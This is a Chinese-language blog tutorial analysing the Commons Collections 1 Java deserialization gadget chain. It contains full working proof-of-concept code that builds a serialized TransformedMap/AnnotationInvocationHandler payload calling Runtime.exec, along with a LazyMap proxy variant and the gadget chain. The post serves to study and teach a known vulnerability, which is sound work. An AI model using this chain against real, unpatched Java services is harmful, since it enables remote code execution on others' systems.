CC1链分析与学习

Commons Collections 是一个由 Apache 软件基金会提供的 Java 开源库,扩展了 Java 标准集合框架(java.util),提供了更多高性能、实用的数据结构、工具类和算法。Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。

本地测试POC

先看POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);
       
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

来梳理POC中的执行逻辑,以及介绍涉及到的类和接口。

涉及的类和接口

1. Transformer

Transformer是Commons Collections提供的一个接口,ConstantTransformerInvokerTransformerTransformer接口的实现类。POC中,new了一个Transformer类型的数组,里面存储的是Transformer的实现类对象。

2. ConstantTransformer

ConstantTransformer:无论输入什么,始终返回预先指定的常量值。在POC中,传入的是Runtime.class,是一个对象。

Runtime类可以用来执行系统操作的、管理进程、获取环境变量等。

3. InvokerTransformer

InvokerTransformer:通过反射动态调用java对象的方法,可以用来执行任意方法。需要传入三个参数:要调用的方法名,方法的参数类型,方法的具体参数值。后面二者若无则传入null。

简单来说,POC中每个InvokerTransformer的参数值如下:

1
2
3
getMethod,null,getRuntime 
invoke,null,null 
exec,null,calc.exe

4. ChainedTransformer

ChainedTransformer:接收一组Transformer对象按序依次执行(上一个的输出作为下一个的输入)。

5. TransformedMap

TransformedMap的构造方法:构造方法把传入的mapTransformer进行赋值。

TransformedMap.decorate:对Map进行修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调操作,传出的outerMap即是修饰后的Map

1
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。

触发回调操作

transformerChain只是一系列回调,那么如何触发回调呢?就是往Map中放⼊一个新的元素:

1
outerMap.put("test", "xxxx");

运行POC:

总结:触发这个漏洞的核心在于,向Map加入一个新的元素。

编写实战POC

在实际反序列化漏洞中,我们需要将上面最终生成的outerMap对象变成⼀个序列化流。在实际反序列化的时候,需要找到一个类,在反序列化的readObject里有类似的写入操作。

这个类就是sun.reflect.annotation.AnnotationInvocationHandler。在它的readObject里有类似的写入操作:

核心逻辑就是Map.Entry memberValue : memberValues.entrySet()memberValue.setValue(...)

  • 检查memberValues中每个值与其对应的memberType是否匹配,如果不匹配,则通过AnnotationTypeMismatchExceptionProxy创建一个新的对象来记录类型不匹配。
  • memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行想要执行的命令代码。

AnnotationInvocationHandler是内部类,实现细节的,本不希望用户调用,因此没法通过new来创建对象。于是使用反射的方法获取其构造方法,并将其设置为外部可见的,再调用就可以实例化了。

1
2
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map。

  • 第一个参数是要代理的注解的类型,第二个参数是注解成员的值。
  • Annotation(注解)是Java中的一种元数据,它以代码的形式存在,并为程序元素(如类、方法、字段等)提供额外的信息。注解本身不是代码,但它们可以被编译器、开发工具和运行时环境读取和处理,以实现诸如代码生成、编译时检查、配置管理等功能。
  • java.lang.annotation.Retention 是 Java 标准库中一个非常基础的元注解(meta-annotation)。它的作用是指定一个注解的保留策略,即该注解在哪个阶段(源码、编译时、运行时)可用。
  • 为什么选择Retention.class 作为 annotationType
    • java内置,无需额外依赖,通用性高
    • 简单,不带复杂成员,简化构造后续利用
    • 在利用 AnnotationInvocationHandler 作为反序列化 gadget 时,目的是触发其内部的某个操作,不是真正去使用这个注解的功能。因此,选择一个无关紧要、但又普遍存在的注解类型是很方便的。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;  
  
import org.apache.commons.collections.*;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.map.TransformedMap;  
  
import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.annotation.Retention;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.HashMap;  
import java.util.Map;  
  
public class CommonCollections1 {  
  
    public static void main(String[] args) throws Exception {  
        
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),  
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),  
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})  
        };   
  
        Transformer transformerChain = new ChainedTransformer(transformers);  
        Map innerMap = new HashMap();  
        innerMap.put("value", "xxxx");  
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);  
  
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);  
        construct.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);  
  
        ByteArrayOutputStream barr = new ByteArrayOutputStream();  
        ObjectOutputStream  oos = new ObjectOutputStream(barr);  
        oos.writeObject(handler);  
        oos.close();  
  
        System.out.println(barr);  
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));  
        Object o = (Object)ois.readObject();  
    }  
}

在Java 8u71之后,CC1链无法利用,原因是,Java 官方修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject函数,改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。

LazyMap

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。

1
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

触发点区别: LazyMap:其get方法中执行的factory.transform。因为是“懒加载”,get在Map中找不到key的时候,就用factory.transform获取值后加载到Map中。 TransformedMap:写入元素的时候执行transform

1
2
3
4
5
6
7
8
9
public Object get(Object key) { 
	// create value for key if key is not currently in the map 
	if (map.containsKey(key) == false) { 
		Object value = factory.transform(key); 
		map.put(key, value); 
		return value; 
	} 
	return map.get(key); 
}

在ysoserial中,AnnotationInvocationHandler类的invoke方法有调用到get。ysoserial作者想到,通过java对象代理的方式进入其中。

首先需要对sun.reflect.annotation.AnnotationInvocationHandler对象进行代理-proxyMap,但是还不能对其进行序列化,因为入口点在sun.reflect.annotation.AnnotationInvocationHandler#readObject,还需要用AnnotationInvocationHandler对这个proxyMap进行包裹

修改POC:

1
2
3
4
5
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); 
construct.setAccessible(true); 
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); 
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

利用链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            MapEntry.setValue()
                MapEntry.checkSetValue()
                    TransformedMap.transform()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

注:8u71 已经对 AnnotationInvocationHandler 进行了安全补丁,使得经典的 CC1 反序列化链不再直接有效,其他CC链有绕过AnnotationInvocationHandler的限制,后续学习。

参考:

  • phith0n-java代码审计
Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行